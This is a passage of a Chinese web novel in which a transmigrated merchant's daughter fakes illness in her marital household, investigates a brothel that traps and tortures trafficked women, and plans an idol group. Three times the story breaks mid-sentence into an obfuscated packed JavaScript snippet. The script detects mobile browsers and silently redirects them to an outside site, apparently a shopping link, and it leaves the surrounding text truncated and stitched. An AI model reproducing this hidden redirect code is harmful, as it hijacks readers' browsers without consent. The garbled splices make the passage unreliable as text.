顾清语心里盘算着,日后怎样才能一般搞钱,一边应付侯府的规矩。 既然世人皆以为她柔肤弱体,不如就做一个全大越最会搞钱的病娇夫人吧! 翌日。 顾清语按照侯府嬷嬷教的规矩,早早的就来到了言正廷母亲的房门口等候问安。 而其父定北侯言顷在他们大婚当日接报紧急军情,等到他们拜完堂就带着大儿子言正铠赶往边关,倒是省去了一一请安的麻烦。 没多久,刘嬷嬷就来打开了房门。 刘嬷嬷是言母的贴身婢女,自小就跟在言母身边,一跟就是几十年。 既未嫁人,也未有离府的打算,所以在侯府里是很有权威的存在。 此刻,她看顾清语的眼神算不得友好。似乎是要替自家夫人立立威。 顾清语却并不在意,进屋后乖巧的做足规矩,向言母斟茶、问安。 但她没想到的是,言母并没有接下她递上的茶。 “你是我言家的第一个媳妇,而你顾出身商贾之家,必定有些不懂规矩,所以,在喝下你敬的这杯茶以前,我有必要好好给你讲讲我们言家的规矩。” 没想到,言母竟也是个不好相与之人。 顾清语在心里感叹,原主的命怎么这么苦。不,自己的命更苦! 在现代遭遇车祸,穿越过来就被沉入河里,明明是富家嫡女却又穷又惨,首富爹还宠妾灭妻害死了亲娘,顺便也想弄死自己。 好不容易嫁出顾府避祸,竟又越到一个恶婆婆。 这日子,还让不让人过了! 言母絮絮叨叨的家规,顾清语是一个字也没听进去。 因为下一秒,她就一口鲜血吐在了言母面前,晕死过去。 她听见言母惊恐的叫声,还有刘嬷嬷慌乱的喊着请大夫,趁所有人都没注意的时候,悄悄弯起了嘴角。 其实她昨日就已计划好要在言家当一个病娇,这样就不会有人时不时来打扰她挣钱。 所以连夜爬起来,让阿砚找齐物品做了个血包,第二天出门前就含在了嘴里。 按照计划她本该在给新婆婆敬完茶出门以后再吐血的,只是没想到言母不好相与,她便只能把计划提前了。 躺在床上,手里紧紧握着一锭银。在言府找来的大夫为她把脉的瞬间,她就将银子塞进了大夫手中。 那大夫倒也是个懂事之人,悄无声息的就将银锭藏入了袖口,而后便是把脉、摇头、叹气三部曲。 言母有些着急,“大夫你别光叹气,到是说话啊!我家这新妇到底怎么了?” “少夫人这病,难治啊!” 刚刚闻讯赶来的言正廷一听大夫这话,也大吃一惊,“明明昨日成亲时还好好的!怎的突然就吐血了?” “少夫人这是心肺受损旧疾复发,怕是要做好长期治疗的打算了!” 这大夫说得有鼻子有眼,倒还正好对上了顾清语曾经溺水伤了心肺一事。 顾清语嘴角偷笑,不曾想却被本来很是担忧的言正廷看到了。 他心下了然:这女子,鬼主意还真多!且看看她要还有什么把戏。 言母还想多问几句,言正廷却催着大夫赶紧去开药方打断了言母的追问。 看了眼病床上奄奄一息的顾清语,言母气得一巴掌打在了言正廷背上:“都怪你不争气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾清语换上一身男装,趁着侯府家丁换班之际,悄悄溜出了门。 “呼!出了门连空气都格外清新啊!” 一出门,顾清语就伸展双臂,贪婪的享受着自由的滋味。 “小姐,我们要去哪儿啊?” “去玩儿!” “费这么大的劲儿溜出来,就是为了玩儿吗?既然去玩儿,为何要穿男装?” “我自有道理,你只管跟着我吃香喝辣便是。” 顾清语没对阿砚细说,但自从上次和十一娘合作之后,她便对她的致富之路有了想法。 既然大越已经有了带货这股风潮,何不好好利用一番,干脆在古代开个艺人经济公司呢? 春风亭已然是京城里最大的娱乐场,但是一家的热度还远远不够。 她的计划,是要将全京城的娱乐场收入囊中,成立大越唯一的娱乐及经纪公司。 所以她的第一步计划,就是要去“调研”这京城里所有的娱乐场。 这娱乐场里多数都是男子,自然穿男装更加方便。 只是,将来等她的计划实现,她就要彻底打破这只许男人欣赏女人的旧俗,她要让男人也站在舞台上演出,女人也能坐在台下欣赏。 这才足够公允。 5. 风雅颂 从那日起,言家的病秧子少夫人每日在家卧床养病,而这京中却突然多了一位出手阔绰的顾公子。 顾公子总是隔三岔五的出现在京城各大娱乐场里,每次出现,必定会重金邀请最出名的歌舞姬们表演自己的拿手绝活。 最让人不解的,是他竟然还边看边用小本子记笔记。 一个神出鬼没又有些变态乐趣的顾公子形象,就这样在京中传开来。 顾清语在听到这个传闻后,楞是没忍住一口茶全喷在了阿砚身上。 她一边抱歉地帮阿砚整理衣裳,一边笑得眼泪都快流下来了。 没想到自己在别人眼中,竟是这般形象。 这下好了,原本夫君的口碑就差,没想到现在连自己也成了变态! 不过,她才不会理会别人的眼光。 好不容易又熬到了顾府无人的日子,她这个变态公子可又要出门了。 今日要去的,是京中最后一家,也是最偏僻的一家娱乐场,名为风雅颂。 名字倒是风雅,等到顾清语去了以后才发现,这家店不仅有名无实,甚至打着风雅得旗号做着低俗下作的买卖。 他们刚到店时,本还一切如常。 歌舞姬们表演着千篇一律的吹拉弹唱,毫无特色可言。 可当顾清语叫来掌柜,说要点单时,这家店的本质就慢慢暴露了出来。 掌柜先是拿了本节目单子让她看,见她皱着眉头半天不说话,老板便压低了声音,问顾清语说需不需要来点特别的。 这语气,这眼神,像极了电视剧里皮条客谄媚的模样。 难道这地方明面上是只卖艺的娱乐场,实则确实做皮肉生意的青楼? 顾清语索性决定试探一番。 “特别的?有多特别啊?” “只要您能想到的特别之处,我们都有!就算您想不到的,我们也有。” 说得还真是既赤果又隐晦啊! “别跟我绕弯子,直接把你们最‘特别’的请出来吧!不过,不‘特别’我可是不给钱的。” 说罢,将整整两锭银子放在了桌面上。 老板一看,立马双眼放光,心想这位定是个懂行人,便将二人请进了三楼最里面的一处包房。 顾清语这才发现,这地方竟然有暗道! 包房里的书柜打开后,里面居然别有洞天。 幽暗的房间中央,摆放着一张粉紫色的大圆床,而圆床上方则直直地垂着两根铁链。 旁边的一张台子上,竟还放着各种各样的工具。 顾清语瞬间明白了老板说的特别究竟是何意。 难怪明明青楼是准许开设的,这家店却偏偏要打着风雅之地的旗号暗藏“特别服务”。 原来,竟是没把青楼女子当人看! 顾清语强按住了心中的愤怒,还假装轻浮的让掌柜给挑个最漂亮的。 掌柜笑嘻嘻的拿着两锭银子,说马上就来。 眼见老板拿着银钱离开,阿砚又害怕又着急。 “小姐,这地方分明就是青楼,可不是我们该来的,要不我们趁现在赶紧走吧!” “不行!青楼女子也是人,哪怕她们以色侍人也不应该被如此对待,等我了解清楚情况,收集好证据举报这家黑店!” 顾清语此刻是又气又急。 身在古代,既没有手机,也没有摄像头,她要怎么收集证据才能将这家店一网打尽? 正焦头烂额之际,一位身着紫衣的女子款款进入。 在看到顾清语的瞬间,她的脸上露出了职业化的笑容,却掩盖不住眼里那一闪而逝的厌恶。 她坐到二人身边默默倒了杯酒,没有再多看对方一眼,手臂上一道道伤痕在长长的水袖下若隐若现。 “二位老板,今日想要什么特别服务?” 说罢,便开始自顾自的褪去身上的衣裳。 “住手!” 顾清语伸手抓住了女子的手臂,女子却吃痛轻呼了一声。 顾清语鼓足勇气,掀开了遮住女子手臂的水袖。 那触目惊心的伤痕让女子痛得连连瑟缩。 顾清语被惊到了,眼泪不争气的溢出眼角。 这是谁家的女儿?又是谁家的姊妹? 若是她们的家人看到这一切,该有多么心痛? “为何要做这样的生意?是他们逼你的,还是你自愿的?” “谁会自愿做这样的事?若不是身不由己,哪个女子愿意不仅出卖身体还要经受这非人的折磨!” 女子明知道多说会给自己惹下大祸,却不知为何,就是被那噙满泪水的眼光深深打动了,仿佛他能懂得自己的痛苦与不堪一般。 顾清语握着女子的手久久不能平复,她想立刻将她带走,救她脱离苦海。 可是她不能,也还不敢。 如今她自己尚且是个性命堪虞,只能靠着装病脱身的人。 自己没有力量,又如何保护别人? 半晌,女子似乎才堪堪反应过来,眼前此人,也是同样“点”了自己的客户。 他又怎会真情实意的为自己考虑。 女子赶紧缩回手,连忙找补:“老板开恩!刚才是奴家胡言乱语,请饶恕奴家一次,不要告诉我们掌柜!” “你不是奴家!你有名有姓,告诉我你的名字。” 女子警惕的看着眼前此人,明明眼神真诚而清澈,可为何会又会来这种地方? 她不敢再轻易多言,生怕说错话会遭到更可怕的报复。 看出女子的犹豫,顾清语干脆一把撤开头上的束发,露出一头长发。 “我也是女子,来这里本是想打探一下各家娱乐场的情况,却发现掌柜有猫腻,误打误撞发现了背后还有这种勾当,如果你希望我救你,就赶紧跟我说实话!” 女子愣了好一会之后,终于泪如雨下。 原来女子名清檀,8岁就被父亲卖给了隔壁村做童养媳,好不容易养到14岁眼看就要成亲了,那家的儿子却意外早逝,那家人认为是清檀克夫,将她一顿毒打后又卖给了这风雅颂。 原本她是在前面卖艺的,突然有一天就被老板拉到了后屋,然后开始了这非人的生活。 而与她一样,或被卖或被骗到这里的女子,竟还有十几号人。 “你可知道这风雅颂的老板为何人?” “不知道具体名字,只知姓宋。” “那关于这里的事,你还知道多少?” 清檀将自己知道的毫无保留悉数相告,只可惜她不接客的时候只能和一众姐妹被关在地下的黑屋里。 只有有客人的时候,她们才能被放出来梳洗打扮,然后接客。 有的女子被伤得太重,他们也不给医治,只是扔在黑屋里等她自生自灭,已经有两人死在了里面,尸首也不知被他们拉到了何处处理。 听完女子的陈述,顾清语久久不能平复。 没想到在这朗朗乾坤之下,竟隐藏有如此黑暗的一隅。 她很想立刻将这些受苦的女子救出去,可是清檀说“点”她们的顾客里不乏权贵之人,甚至还有皇亲国戚,如果处理不好,连她自己也会死无葬身之地。 时间一分一秒流逝,眼看着不能再久留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205070|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顾清语嘱咐清檀这段时日尽力保全自己,并想方设法打听这幕后老板的名字。 随后,又让清檀画出了地下黑屋的大概位置。 临走前她紧紧握住清檀的手:“我一定会回来救你的!保护好自己,等我!” 女子点了点头,却转头拿起桌上的烛台将蜡滴在了自己身上。 “你这是做什么!?”顾清语想要阻止,却被清檀拦住了。 “只有这样,老板才会相信你是真的客人,不然,连你也会有危险的。” 顾清语心疼的抚上清檀的伤痕,眼泪再一次夺眶而出。 整理好自己的情绪之后,顾清语深呼吸走出了这间隐藏的房间。 发现那掌柜早就等在了门外。 “老板可还满意啊?” 掌柜越是谄媚,顾清语的拳头就捏得越紧。 她拼命压制住内心翻涌的恨意,只是笑着点了点头:‘不错!下次还点她!’ “好嘞!您满意就好!” 当顾清语终于踏出风雅颂后,迅速招了辆马车疾驰而去。 她特地让马夫在街上绕了几圈,又换了几辆马车。 在安全踏进侯府大门之后,她脚下一软,险些站不住。 阿砚也知道耽搁不得,快速扶她回了房。 回到房间后,二人禁不住一阵后怕。 在风雅颂时因为出离愤怒而忽略了这件事的严重性,现在看来,这可是一个牵连甚广的大麻烦。 连自己的事都还没解决好,却又惹上了这等事端。 顾清语开始怀疑,原主这具身体是不是天生就有招祸的体质。 这几日她没有再出门,老老实实的在言家装病秧子。 又过了些时日,顾清语想着应该没什么大事便又再次乔装溜出了门。 她想再去风雅颂看看清檀,问问她是否打探到幕后老板。 但是她心里七上八下的,总有种异样的感觉。 她留了个心眼,没有直接去风雅颂,而是佯装不识路找人问路,没想到却得到了风雅颂已经关店的答复。 顾清语心下一惊,难道她暴露了? 那清檀是否已经凶多吉少?! 不敢再细想,顾清语转身就想立刻回侯府。 却在走到转角时,发现有一群衣着不像是本国,却一脸不善之人。 对方四处张望似在寻找什么,顾清语也不知为何就起了戒心,总觉得这群人就是冲着自己来的。 她本想转身就跑,却发现自己无意中闯入了一条死巷。 眼看着对方离巷子越来越近,但这里竟没有一处可藏身之地。 难道这小命今日是要交代在此了? 阿砚在一旁急得快要哭出来了,顾清语却已经毫无办法。 就在她们已经做好了要和对方拼命的准备时,一个熟悉的声音却突然响起: “喂!怎么回事啊?撞了人也不知道道歉吗?” 二人定睛一看,说话之人竟然是言正廷。 他与几个狐朋狗友拦住了那群人,非说对方撞了人不道歉,今天一定要讨个说法,否则就去报官。 围观的人群越来越多,那几人被他们缠得甚是心烦。 而顾清语则以人群为掩护,趁乱逃走。 言正廷一边胡搅蛮缠的和对方理论,一边却斜眼睨着顾清语的方向。 见她顺利逃走,几不可查的舒松了口气。 在对方终于道歉之后,众人才逐渐散去。 “应该已经逃回侯府了吧?呼——好险!” 言正廷终于长长的舒了口气。 6. 十一娘的故事 顾清语一刻也不敢耽误,飞一般地逃回侯府。 性命堪忧的她再次起了逃跑的念头。 她不过是一门心思想搞钱罢了,为何前有二姨娘的谋害,后又惹了皇亲国戚和外族的追杀? 最要命的是,她连敌人是谁都不知道! 也不知道究竟是原主倒霉,还是自己倒霉,连累了这个本该一死了之的原主。 顾清语一直闷闷的坐着,并不说话。 她的大脑在飞速思考着下一步的计划,究竟是走,还是留。 一夜无眠。 因为害怕和担忧而失眠的顾清语,好不容易在天刚亮起时眯了一小会。 此时,却被一阵急促的敲门声吵醒。 她刚想破口大骂,却听阿砚兴奋道:“小姐赶紧起床吧!十一娘来拜访您了!” “十一娘?” “十一娘!” 一听来人是十一娘,顾清语立刻从床上爬起来,瞬间困意全无。 自上次将赚得的银两给十一娘送去之后,她便没机会再与十一娘相交。 本是想趁着市场调研成熟之后再去找十一娘谈合作,未曾想却遇到了风雅颂的事。 如今十一娘登门拜访,正好可以与其商讨一下她的商业大计。 顾清语用最快的速度梳洗打扮了一番,尽量做到简约而雅致。 面对十一娘这样精致的女子,她可不想蓬头垢面失了面子。 “顾小姐,几日不见已经成为言夫人了!这新婚燕尔就是不一样,格外光彩照人呢!” “十一娘可别笑话我了!” 这婚谁结谁知道吧。 顾清语表面上和十一娘打趣,心里却在默默叹气。 “我听说,你刚成亲就病了,一直在府里养着,所以特来探望。只是……” 十一娘的话没说完,可顾清语心下明白话中之意,她看起来可一点也不像重病之人。 “我就知道,瞒谁也瞒不住你。” 其实她并没有打算向十一娘隐瞒装病之事,以十一娘在春风亭多年看人的本事,是人是鬼她一看便知。 况且,她也不知为何,总是对十一娘有种莫名的信任。 她滔滔不绝地向十一娘讲起了刚过门就被新婆婆施了下马威的事。 本以为十一娘会对她报以同情,谁料十一娘却说: “得了吧!我看你就是早有预谋要装病的,婆婆施威不过刚好给了你一个借口而已。” “知我者,十一娘也!” 顾清语与十一娘相视而笑,那画面,甚是美好。 两人有说有笑的聊了很久,聊着聊着,十一娘就向顾清语讲起了自己的故事。 十一娘原名董之宁,是城中显贵董家的庶女。 母亲是被董老爷强抢民女抢来的妾室,进了董家后一直不愿屈服,连带着董之宁也不得宠。 母亲去世后她就被董家赶了出来,毫无独自生活经验的她差点就被奸人卖到了青楼,还好她及时逃脱。 她和几个一起逃出来的姐妹一手一脚拼出了一个歌舞坊,还自创了诗词改编歌舞这一特色演出,再后来就创立了春风亭。 听完十一娘的故事,顾清语再次陷入了沉默。 幸亏当年十一娘成功逃了出来,如果没能逃脱,她是否也是另一个清檀呢? 一想到清檀,顾清语的心就隐隐作痛。 她和清檀仅一面之交,连朋友都算不上。 可那双绝望的眸子,和满身的伤痕,带给顾清语的震撼太过强烈,以至于她每每想起,都有些心悸。 看顾清语突然沉默,十一娘也收起了笑容。 “其实,我今日来找你,还有一件很重要的事。” “十一娘有话尽管直说,你帮过我一次,我必承你的人情。” “好!我一直颇为欣赏顾小姐的爽快,看来我果然没有找错人。” 还不等顾清语细问,十一娘便自顾自的开了口。 “我知道你去过风雅颂。” 只这一句,就足以让顾清语如坐针毡了。 十一娘手眼通天,可没想到她竟然连她乔装成男人去了风雅颂都知道。 她突然就不知道,十一娘究竟是敌是友。 难道十一娘是来杀她的? 她几不可查的往后挪了挪,随时准备起身逃走。 而她的小动作却没能逃过十一娘的双眼。 “你别紧张,我不是你的敌人。其实我暗中调查风雅颂已经很久了,我知道他们囚禁了一批女子来做一些见不得人的勾当。” 见顾清语仍然全身紧绷,时刻保持战斗状态的模样,她无奈叹了口气。 “我知道你可能不相信我,我带了证据。” 说罢,从衣袖里拿出一张被揉得皱皱巴巴之后又重新叠好的黄纸。 仔细一看,那纸上甚至还有隐隐血迹。 原来,春风亭里一位舞娘的妹妹失踪了,她用尽各种办法也找不到人。突然有一天,却接到了府衙报信,说发现了疑似她妹妹的尸体。 舞娘去到府衙几乎认不出来是她的妹妹,因为那尸首浑身上下都被火烧过,脸也完全被划花了,直到她发现了妹妹后颈处的胎记。 府衙的人让她确认尸首后,却不肯把妹妹还给她,只说死因可疑,必须留在官府然仵作验尸。 而她却在整理妹妹遗容时,意外发现了这个。” 十一娘一边说,一边将那张带有血迹的纸递到了顾清语面前。 那纸上一部分字迹已经花掉了,想来是因为含在口中的缘故。 但是还能看清的那部分,明明白白写着“风雅颂”几个字。 原来,十一娘对风雅颂的调查,是从这里开始的。 “你还查到什么?” “查到风雅颂不仅与皇亲国戚有关,还牵连外族。事关重大,还没来得及深入调查,风雅颂就没了。我有探子埋伏在风雅颂周围,虽然你乔装打扮过了,但是探子带回的画像,我一看便知是你。” “难道你的探子没告诉你,我差点被外族人抓到吗?” “当然,如果当时你有生命危险,我的人定会出手救你。不过还好,你化险为夷了不是吗?” 十一娘果真什么都知道! 顾清语又问:“你想我怎么帮你?” “现在风雅颂的线已经断了,但是他们应该不会轻易收手,必定会卷土重来。现在我们什么也做不了,只能守株待兔。所以我今天来不是想找你帮忙,只是想提醒你,此事过于危险,你最好完全抽身,无论你是因为什么而沾染上这件事,都不要再继续查下去。” “你是说,让我眼睁睁的看着别人的苦难而置之不理吗?” 看着面前眼神无比坚定的顾清语,十一娘对她的好感与信任又增加了几分。 “当然不能置之不理,不过,在自身强大之前,明哲保身也未尝不是件好事。” “你说得对,自身强大很重要。今日既然十一娘刚好上门,我也正有个主意要与你商量。” “愿闻其详。” “十一娘就没想过,把吟舞会的姑娘们包装成偶像团体? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205071|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “何为偶像团体?” “就是让世人都万分喜爱,争相模仿追逐,还心甘情愿为她们花银钱,并且要花了银钱才能看表演的团体。” 顾清语的市场调研已经做得差不多了,除了春风亭的吟舞会外,其余娱乐场并没有团体演出的概念,与吟舞会相比,并没有太大竞争力。 其实,吟舞会早已有了女团的雏形,只要再加以包装,很快就能打造出大越第一个女子偶像团体。 等到把第一个女团成功推出之后,她才能继续拓展商业版图。 况且…… 风雅颂的事绝不能就这么算了。 否则,清檀怎么办? 和她一样被关在黑屋里的那些女子又该怎么办? 她答应过清檀会帮她们的,即便如今她们已然下落不明,若是连她也撒手不管,谁还能帮助这些可怜的女子? 风雅颂没了,却还会有新的风雅颂出现。 一天不查出真相,就还会有无辜的女子受害。 顾清语花了整整一上午时间,向十一娘详细解释了偶像团体的概念以及如何对她们进行包装。 十一娘听完以后,两眼放光。 自上次合作之后,十一娘本就对顾清语有些刮目相看。 如今她又提出了这些听也没听过的新鲜概念,不禁令她又多了几分好奇。 这位养在深闺里却并不得宠的富家小姐,为何会有这么多奇思妙想? 两人从天亮一直聊到天黑,终于将打造女团的初步计划敲定下来。 顾清语送十一娘出门后,便开始在房间里写她的运营计划书。 而十一娘却在离开顾府后直接转进了另一条小巷。 “你的夫人还真是个妙人呢!” “我也觉得她十分有趣。” 话音刚落,就见言正廷挺拔的身影从巷子暗处缓缓踱出。 一年前,风雅颂在京城悄然出现时就引起了他的怀疑。 明明是最需要人气的娱乐场,却偏偏开在了远离人群的远郊。 生意却是出奇的好。 与此同时,京城里陆陆续续开始有少女失踪。 他好不容易通过另外几位世家子弟,才打听到风雅颂的“特别服务”。 也曾试着点过那些提供“特别服务”的女子,奈何她们虽满身伤痕,却口风甚紧。 为了深挖幕后之人,他本着稳扎稳打的想法,便与那群子弟经常出入各家娱乐场。 也是因此,才落下了个“浪荡不堪、风流成性”的名声。 如今才刚有了点眉目,没想到风雅颂却在一夜之间销声匿迹。 眼见着之前做的所有努力都打了水漂。 本以为风雅颂与皇亲国戚有关,不曾想还与外族有所牵连。 然而最让他头疼的,是顾清语竟然卷入了其中。 他明知顾清语在家装病人,在外装男子。 他一直以为那只是她想要躲避是非闹着玩,没想到她要么不惹祸,一惹便惹了个大的。 十一娘今天之所以会主动来找顾清语,本是因为言正廷。 他想让她帮忙劝说顾清语抽离风雅颂的事。 而十一娘口中那位“探子”,也刚好就是言正廷本人。 未曾想在和顾清语聊完后,十一娘不但没能劝她,反而被她的一颗仁者善心,和那些天马行空的妙计所说服。 “她很倔强,对风雅颂的事不会轻易罢手,所以我们得尽快做好准备。” “那边已经有点眉目了,应该快找到了。” 7. 保镖协议 这几日,顾清语让阿砚先行探路,在确定街上已无任何外族人的身影后,她便开始出门筹备女团首演之事。 她先是找到了之前布庄的黄老板,想请他找一些大越没有的好物。 黄老板也不愧是个经验丰富的商人,很快就为顾清语找来了在邻国很小众却又很特别的服饰及饰品。 顾清语一看到那些类似现代少数民族的服饰和银饰就两眼放光。 她在心中暗自感叹:果然咱们中国的少数民族文化放到这大越也毫不逊色啊! 她立马掏空了自己的小金库,让黄老板大量进货。 同时,也让隔壁甄娘继续为吟舞会的姑娘们量体裁衣。 很快,第一批表演服饰已准备妥当。 但因为服饰太过小众,而找不到当下流传的合适的诗词。 她灵机一动,不如效仿效仿《庆余年》里的小范大人? 于是,自己改编了一首少数民族歌曲,准备立刻给十一娘送去,顺便再确认一下首演细节。 兴许是十一娘已经对春风亭上下打过招呼,顾清语这次来,不仅没遭到小厮的阻拦,整个春风亭上下对她都是毕恭毕敬。 不一会儿,十一娘就出来迎她了,神色却不大好看。 不知为何,顾清语心里隐隐有种不祥的预感。 “怎么了?脸色如此难看?” “出事了,我们的女团首演恐怕要推后了。” “究竟何事?” “现在还不清楚,只知道府衙下令封禁了所有的娱乐场。” 顾清语已经投入了自己全部的积蓄去让黄老板进货,如果一直被封禁,岂不是血本无归? 十一娘见她面色凝重,只能安慰道:“别着急,我会派探子去大厅,也许过段时间就能解封了。” 既然如此,也没有更好的办法了。 顾清语留下了自己改编的词曲,让十一娘照常让姑娘们进行彩排,便悻悻离去。 在回去的路上,顾清语恍惚看见了言正廷的身影。 心想,这家伙不会是娱乐场被封禁就辗转去青楼了吧? 顾清语赶紧摇了摇头,将这想法赶出了脑袋。 即便是又如何?二人只是协议婚姻,难道我还吃醋不成? 如今面临如此难题,他是去青楼还是去跳楼,她才懒地管。 而另一边,言正廷见顾清语离去后,便悄悄潜入春风亭后院。 显然,作为十一娘的“探子”,他对此事有了些眉目。 言正廷进入春风亭后院的一处秘院后,关好门窗,再仔细查看了一番才开口。 “城郊发现了五具女尸,死状极为惨烈。” “五具!查出她们的身份了吗?” “查出来了,有的是之前报过失踪的少女;有的,是从前在青楼讨生活的女子。” 见十一娘不语,言正廷继续道:“想必是风雅颂败露后他们为了掩人耳目,就灭口了一批不怎么听话的女子。但是风雅颂水太深了,府衙一直压着消息没有往外传。” 十一娘微微叹了口气:“咱们已经尽力了,为今之计,只有尽快找出幕后凶手,才能为这些姑娘们报仇!” 很快,十一娘就将消息传给了顾清语。 她刚一接到消息,就火急火燎的赶去了春风亭。 “这事和春风亭有何关系?为什么女团不能推出了?” “因为死者里有曾经在其他娱乐场谋生的女子,官府认为此事和所有的娱乐场有关,所以下令暂时关停所有的娱乐场。” “分明就是掩耳盗铃!” “即便如此,我们也毫无办法,毕竟我们只是一介草民,民不与官斗,才能保住自身。” 一句民不与官争,突然就让顾清语失了语。 竟找不出一句话能够表达她此刻内心翻涌的情绪。 大越的女子本就势弱,像十一娘这般坚毅的,能够做点营生都已是困难重重。 而风雅颂里的姑娘们,不仅沦为了满足男子变态嗜好的玩物,在失去利用价值后,仍旧不得善终。 凭什么? 顾清语一腔愤怒无处宣泄,却也知道此时问一句凭什么于事无补。 如果不及早查出风雅颂背后势力,还会有更多女子再次陷入危机之中。 现如今她更要及早丰满羽翼,才能救她们于水火。 民不与官斗,那官可以与官争了吧? 京城府衙不过是一个很小的部门,她家那位纨绔的爹,不是侯爷吗? 想要向区区府衙开口,应该是轻而易举的吧? 想到此,顾清语便起身向十一娘告辞,火速赶回侯府。 回去的路上,顾清语捏紧了拳头。 那视死如归的模样,也感染了一旁本有些懦弱的阿砚。 她的小姐,带着她谨小慎微的活了那么些年。 能躲就躲,能退便退,一直是她们的生存法则。 而如今的小姐,她坚定,勇敢,毫不退缩。 弄得她也生出了一股管他天大地大,只求潇洒恣意活一回的勇气。 这一次,无论遇到多大的危险,她也会坚定的陪在小姐身边! 顾清语赶到府中时,言正廷还在睡大觉。 顾清语见他那浪荡子模样就来气。 分明是废物一个,自己却不得不低声下气去求他。 谁叫他命好,生在了侯爷府呢? 在想好了一套说辞之后,她强迫自己嗲声嗲气地开了口:“相公,今日怎么没出门玩啊?” 言正廷懒懒的伸了个懒腰,别说,那慵懒的气质还怪好看的。 他笑意盈盈的看着顾清语:“夫人怎么来啦?今日这般好兴致来找我?身体可是痊愈啦?” 顾清语差点忘了自己在装病这事,赶紧立刻换上了一副柔弱无骨、摇摇欲坠的模样。 “咳,咳,自是没有,不过是想来找相公叙叙旧,话话家常而已。” “叙旧?我俩不是才刚认识吗?有什么旧可叙吗?” 这死家伙!尽会怼人。 她本想说两句软化,可转念一想,凭什么我就要哄着他? 想当初她在职场可是说一不二的,何时受过这份闲气? 她刚想发作,言正廷却知道见好就收。 瞧着她不悦地噘起了嘴,言正廷赶紧收起了嘻嘻哈哈的模样,正襟危坐道:“夫人别生气,我不过是想跟你逗趣呢。夫人有何事需要我帮忙,尽管直说!” 他怎么 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“夫人也许不知,我虽为定北侯之子,但并不是小侯爷。侯位是由我的兄长所承袭,所以他才是小侯爷,夫人在府内切记别再叫错了,兄长他……很在意,而且你知道的,我母亲并不好相与,只怕到时候为难你,没必要无端招惹了是非。” 原来如此。 顾清语了然地点了点头,便听言正廷继续道: “春风亭一事我也有所耳闻,我去帮你说道说道不成问题。问题在于,行凶者目的不明,一旦所有的娱乐场解除封禁,会不会继续有女子被害?哪些女子又会成为歹徒的目标?夫人你若常去春风亭,会不会不安全?我可不能明知你有危险,却放任不管。” 顾清语突然就心下一软。 她听着言正廷分析得头头是道,却还能为她的安全担忧。 已经很久没有人,在乎过她的安危了。 无论是曾经,还是在此时。 当了太久的女强人,听了太多的阿谀奉承,这朴实无华的关心仿佛一团微弱的火焰,让她内心深处最坚硬的冰川竟有了一丝松动。 “你说得都对,可是我有自己想要做的事。我十分感激你对我的关心,但这事我势在必行,就算你不帮我,我也可以找别人。所以我可以给你时间考虑清楚,帮,还是不帮?” “帮!当然要帮!不过我有个条件。” “什么条件?” “我要做你的护卫,在你身边保护你。” 有必要吗? 言正廷提出的条件,让她哭笑不得。 “你是说,去春风亭的时候吗?” “不止是去春风亭。只要你外出,我都要跟着。” “我看,没这个必要吧?” “当然有必要!保护自己的夫人,天经地义。况且……” “况且什么?” “我如果不贴身保护,那夫人装病的事败露了该如何是好啊?” “就是做我的贴身保镖是吧?行!拿笔来,签协议。” 又签? 言正廷实在不明白,夫人怎就如此喜欢签协议? 8. 言正廷他怒了 在言正廷的威逼利诱之下,顾清语答应了他做贴身护卫的要求。 只是协议里面清楚写明了一点:“不得干涉对方的人身自由及恋爱自由。” “夫人,这个恋爱自由是何意?看着怎么有点像和别人相好的意思啊?” “你别多想,恋爱就是贪玩的意思。” 言正廷怎么就这么不相信呢。 不过眼下,他的小计谋俨然已经得逞,自然懒得再去深究。 他想要做顾清语的贴身护卫,到也完全不是为了一己之私。 一来,他是想顺藤摸瓜,找到风雅颂的背后势力。 二来,也的确是想保护她。 毕竟,她的命,是自己亲手救回来的。 二人签完协议后,顾清语再次慎重的一式两份,将其小心收好。 而言正廷也兑现承诺,第二日便去了一趟府衙。 顾清语一直在府里焦急的等待言正廷的消息,毕竟春风亭一日不解封,她的银钱就一直有去无回。 好不容易等到言正廷回来了,那家伙却跟她卖起了关子。 “唉,此事难办啊!” “怎么了?是出了什么岔子吗?” 顾清语的心已经提到了嗓子眼,生怕京城的娱乐场会遭到永久封禁。 到时候不止她的银钱有去无回,就连清檀她们也是再无希望了。 只听他继续道:“的确是出了点出岔子。” 顾清语彻底急了:“到底怎么了?你倒是说啊!” “咳!咳!岔子就是……他们怕小爷我跟父亲告状,非要请我去喝花酒!我不去吧,他们还不乐意。” “好你个言正廷!敢耍我,看我怎么收拾你!” “夫人怎么如此粗…哎哟!疼!” 话未说完,言正廷的脑袋就狠狠挨了顾清语一鞋底板。 他竟不知,这养在深闺里的女子居然会脱鞋打人?! 嬉闹声间或传来,守在门口的阿砚不解的歪起了头。 “小姐不是说很讨厌他吗?怎么感觉,也并不是很讨厌啊,甚至…还有点喜欢?” 五日后,春风亭重开。 顾清语和十一娘倾力打造的第一支女子偶像团体隆重推出。 